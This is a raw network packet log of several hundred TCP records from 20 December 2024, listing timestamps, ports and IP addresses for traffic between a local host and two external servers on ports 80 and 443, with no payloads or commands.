Dec 20, 2024 13:12:22.668839931 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.669617891 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.669663906 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.669697046 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.669743061 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.670420885 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.670465946 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.671535969 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.671549082 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.671560049 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.671588898 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.671608925 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.672557116 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.672604084 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.672769070 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.672813892 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.673594952 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.673660994 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.674221039 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.674268961 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.674649954 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.674695015 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.674722910 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.674772024 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.674990892 CET	443	49861	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:22.675031900 CET	443	49861	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:22.675061941 CET	443	49861	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:22.675086021 CET	49861	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:22.675095081 CET	443	49861	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:22.675122023 CET	443	49861	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:22.675157070 CET	49861	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:22.675173998 CET	443	49861	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:22.675220013 CET	49861	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:22.675236940 CET	443	49861	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:22.675731897 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.675781012 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.676064014 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.676107883 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.676726103 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.676738024 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.676774979 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.676786900 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.677972078 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.678018093 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.678268909 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.678313971 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.679080963 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.679128885 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.679397106 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.679440975 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.680061102 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.680073023 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.680114985 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.681097984 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.681145906 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.681178093 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.681225061 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.682080984 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.682126045 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.682244062 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.682290077 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.683043003 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.683093071 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.683172941 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.683219910 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.684050083 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.684098005 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.684401035 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.684447050 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.685020924 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.685069084 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.685328007 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.685374022 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.686064959 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.686111927 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.686124086 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.686170101 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.687175035 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.687221050 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.687258005 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.687305927 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.688397884 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.688445091 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.688560963 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.688606024 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.689251900 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.689300060 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.689551115 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.689596891 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.690251112 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.690299034 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.690785885 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.690833092 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.691359043 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.691410065 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.691481113 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.691528082 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.691543102 CET	443	49861	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:22.691592932 CET	49861	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:22.691625118 CET	443	49861	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:22.692373037 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.692423105 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.692728996 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.692774057 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.693375111 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.693420887 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.700166941 CET	443	49861	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:22.700217009 CET	49861	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:22.700232029 CET	443	49861	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:22.742084980 CET	49861	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:22.794590950 CET	443	49861	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:22.830832958 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.830914021 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.830961943 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.830990076 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.831167936 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.831181049 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.831228018 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.831764936 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.831820011 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.831883907 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.831933022 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.832760096 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.832808018 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.832956076 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.833003998 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.833792925 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.833842993 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.834007978 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.834058046 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.834842920 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.834889889 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.834928036 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.834976912 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.835841894 CET	49861	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:22.835864067 CET	443	49861	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:22.835968971 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.836014986 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.836170912 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.836216927 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.837002039 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.837052107 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.837125063 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.837173939 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.838157892 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.838207960 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.838288069 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.838335037 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.839020967 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.839071035 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.839536905 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.839582920 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.840313911 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.840361118 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.840601921 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.840648890 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.841404915 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.841476917 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.841686964 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.841733932 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.842685938 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.842740059 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.842781067 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.842828035 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.843585014 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.843607903 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.843632936 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.843647003 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.844717979 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.844767094 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.845221996 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.845269918 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.845731974 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.845778942 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.845875025 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.845921993 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.846899033 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.846946955 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.847605944 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.847654104 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.847873926 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.847922087 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.848640919 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.848690987 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.848975897 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.849025011 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.849371910 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.849419117 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.849828005 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.849839926 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.849879980 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.850646019 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.850687981 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.851042986 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.851092100 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.851629972 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.851672888 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.851871967 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.851923943 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.852781057 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.852837086 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.852981091 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.853034019 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.853796959 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.853856087 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.853898048 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.853982925 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.854756117 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.854996920 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.855151892 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.855210066 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.855865955 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.855931044 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.856056929 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.856111050 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.856848001 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.856897116 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.857116938 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.857172012 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.857947111 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.857996941 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.858005047 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.858045101 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.859117031 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.859170914 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.859395027 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.859447956 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.860369921 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.860420942 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.860610962 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.860661030 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.861282110 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.861293077 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.861339092 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.862256050 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.862313032 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.862416983 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.862466097 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.863193035 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.863244057 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.863249063 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.863284111 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.864207029 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.864263058 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.864356995 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.864404917 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.865222931 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.865276098 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.865366936 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.865415096 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.866451979 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.866512060 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.866668940 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.866720915 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.866952896 CET	443	49861	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:22.867007971 CET	49861	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:22.867022038 CET	443	49861	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:22.867343903 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.867397070 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.867506027 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.867553949 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.868345022 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.868403912 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.869467020 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.869479895 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.869491100 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.869558096 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.870474100 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.870526075 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.870651960 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.870699883 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.870790005 CET	443	49861	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:22.870845079 CET	49861	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:22.870927095 CET	49861	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:22.870942116 CET	443	49861	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:22.870956898 CET	49861	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:22.870965004 CET	443	49861	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:22.871517897 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.871562004 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.871597052 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.871607065 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.872570992 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.872622967 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.873660088 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.873671055 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.873682022 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.873745918 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.874636889 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.874705076 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.874727011 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.874774933 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.875730038 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.875793934 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.876041889 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.876096964 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.876753092 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.876811981 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.877841949 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.877859116 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.877870083 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.877904892 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.877942085 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.878866911 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.878935099 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.879287004 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.879345894 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.879889011 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.879956961 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.880065918 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.880110979 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.881009102 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.881067038 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.881175995 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.881226063 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.881985903 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.882045031 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.882230997 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.882281065 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.883039951 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.883124113 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.883991003 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.884048939 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.884176970 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.884191990 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.884224892 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.884249926 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.885277987 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.885329008 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.019484043 CET	49867	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:23.019586086 CET	443	49867	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:23.019798040 CET	49867	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:23.020200968 CET	49867	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:23.020236969 CET	443	49867	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:23.022572994 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.022629976 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.022799969 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.022849083 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.023111105 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.023156881 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.023581982 CET	80	49859	31.41.244.11	192.168.2.5
